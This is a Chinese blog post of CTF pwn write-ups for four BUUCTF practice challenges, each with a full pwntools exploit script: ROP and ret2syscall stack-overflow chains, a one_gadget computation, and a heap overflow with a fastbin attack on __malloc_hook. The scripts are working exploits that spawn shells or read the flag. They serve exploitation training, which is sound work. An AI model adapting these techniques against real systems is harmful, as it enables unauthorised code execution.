//
xiaoaoaode
Published on 2020-07-28 / 794 Visits
0

BUUCTF-Pwn题-Writeup(2)

(博主还是菜鸟,有些知识可能理解不够透彻,有些表述可能不够严谨,欢迎大家指正,望大家多多包涵)

not_the_same_3dsctf_2016题

程序保护信息:

image-20200728145041685

程序有711KB大,而且从它给出的函数可以看出应该是静态编译的,在gdb调试里也可以看到并没有导入libc。

main函数有很明显的可利用的栈溢出:

image-20200728171212747

再看看程序给的函数,并没有system函数,也没有/bin/sh等类似字符串,所以不能直接打开一个shell,这里解题就有几种方法了,可以使用ret2syscallret2libc的方法(其他方法我就不知道了)。

我最开始用的是ret2libc方法打开flag文件,读取到某处,再打印出来。

ret2libc法 解题脚本:

# -*- coding: utf-8 -*-
from pwn import *

context.log_level = 'debug'
p = remote('node3.buuoj.cn', 00000)

main_add = 0x080489E0
open_add = 0x806e190
gets_add = 0x804f8d0
printf_add = 0x804f0a0
fflush_add = 0x804f3a0
read_add = 0x806e200
tmp_add = 0x080EBF84
payload = 'A' * 0x2d + p32(gets_add) + p32(main_add) + p32(tmp_add)
payload1 = 'B' * 0x2d + p32(open_add) + p32(main_add) + p32(tmp_add) + p32(0)
payload2 = 'C' * 0x2d + p32(read_add) + p32(main_add) + p32(3) + p32(tmp_add) + p32(64)
payload3 = 'D' * 0x2d + p32(printf_add) + p32(main_add) + p32(tmp_add)
payload4 = 'E' * 0x2d + p32(fflush_add) + p32(main_add) + p32(0)

p.sendline(payload)	#相当于gets(tmp_add)
p.sendline('flag')	
p.sendline(payload1)#相当于open(tmp_add,0)
p.sendline(payload2)#相当于read(3,tmp_add,64)
p.sendline(payload3)#相当于printf(tmp_add)	(不规范,不安全的写法)
p.sendline(payload4)#相当于fflush(0) (因为我在调试的过程中发现之前的输出数据都没有,所以这里应该是要刷新一下输出流)
p.interactive()

ret2syscall法 解题脚本:

# -*- coding: utf-8 -*-
from pwn import *

context.log_level = 'debug'
p = remote('node3.buuoj.cn', 00000)

int_0x80 = 0x08070290
pop_eax = 0x08048b0b
pop_ebx_edx = 0x0806fcc9
pop_ecx_ebx = 0x0806fcf1
main_add = 0x080489E0
gets_add = 0x804f8d0
tmp_add = 0x080EBF84
payload = 'A' * 0x2d + p32(gets_add) + p32(main_add) + p32(tmp_add)
payload1 = 'B' * 0x2d + p32(pop_eax) + p32(0xb)
payload1 += p32(pop_ebx_edx) + p32(tmp_add) + p32(0)
payload1 += p32(pop_ecx_ebx) + p32(0) + p32(tmp_add)
payload1 += p32(int_0x80)
p.sendline(payload)
p.sendline('/bin/sh')
p.sendline(payload1)
p.interactive()

总结

难度:★★

还是基本的栈溢出的题目,有多种解法

[BJDCTF 2nd]one_gadget题

程序会提供printf的实际地址,可以推出libc基址,题目本意就是要你使用one_gadget,所以只要计算好one_gadget的地址再将整数输入进程序即可。

# -*- coding: utf-8 -*-
from pwn import *

context.log_level = 'debug'
p = remote('node3.buuoj.cn', 00000)

printf_offset = 0x62830
one_gadget_offset = 0x106ef8
p.recvuntil('u:')
printf_add = int(p.recvuntil('\n'), 16)
p.sendlineafter('gadget:', str(printf_add - printf_offset + one_gadget_offset))
p.interactive()

总结

难度:★

one_gadget的基本使用

jarvisoj_level2题

程序保护信息:

image-20200729095706721

经典的栈溢出题,有system函数,字符串bin/sh

解题脚本:

# -*- coding: utf-8 -*-
from pwn import *

context.log_level = 'debug'
p = remote('node3.buuoj.cn', 00000)

system_plt = 0x8048320
binsh_add = 0x804a024
payload = 'A' * 0x88 + p32(0) + p32(system_plt) + p32(binsh_add) * 2
p.sendlineafter('Input:',payload)
p.interactive()

总结

难度:★

babyheap_0ctf_2017题

程序保护信息:

image-20200729171117651

这是一道菜单题,重点在这里:

image-20200729171509009

很明显,上图里没有对覆写的数据大小进行检查,所以可以溢出。

到这里就可以采用 off-by-one方法结合fastbin attack解题(主要思路不仔细说了,类似于我写的另一篇Writeup:攻防世界-babyheap题Writeup

解题脚本:

# -*- coding: utf-8 -*-
from pwn import *

context.log_level = 'debug'
p = remote('node3.buuoj.cn', 00000)

def Allocate(size):
    p.sendlineafter('Command: ', '1')
    p.sendlineafter('Size: ', str(size))


def Fill(index, size, payload):
    p.sendlineafter('Command: ', '2')
    p.sendlineafter('Index: ', str(index))
    p.sendlineafter('Size: ', str(size))
    p.sendafter('Content: ', payload)


def Free(index):
    p.sendlineafter('Command: ', '3')
    p.sendlineafter('Index: ', str(index))


def Dump(index):
    p.sendlineafter('Command: ', '4')
    p.sendlineafter('Index: ', str(index))
    p.recvuntil('Content: \n')


Allocate(0x80)
Allocate(0x10)
Allocate(0x68)
Allocate(0x80)
Allocate(0x10)

Free(0)
Fill(2, 0x70, 'A' * 0x60 + p64(0x120) + p64(0x90))
Free(3)
Allocate(0x80)
Dump(1)
main_arena_add = u64(p.recv(6) + '\x00\x00') - 88
__malloc_hook = main_arena_add - 0x10
libc_base = __malloc_hook - 0x3c4b10
one_gadget = libc_base + 0x4526a

Free(2)
Fill(1, 0x28, p64(0) * 3 + p64(0x71) + p64(__malloc_hook - 0x23))
Allocate(0x68)
Allocate(0x68)
Fill(3, 0x1b, 'B' * 0xb + p64(one_gadget) * 2)
Allocate(1)

p.interactive()

总结

难度:★★★

这个题我以前写过,这次算是重新写一次,巩固知识。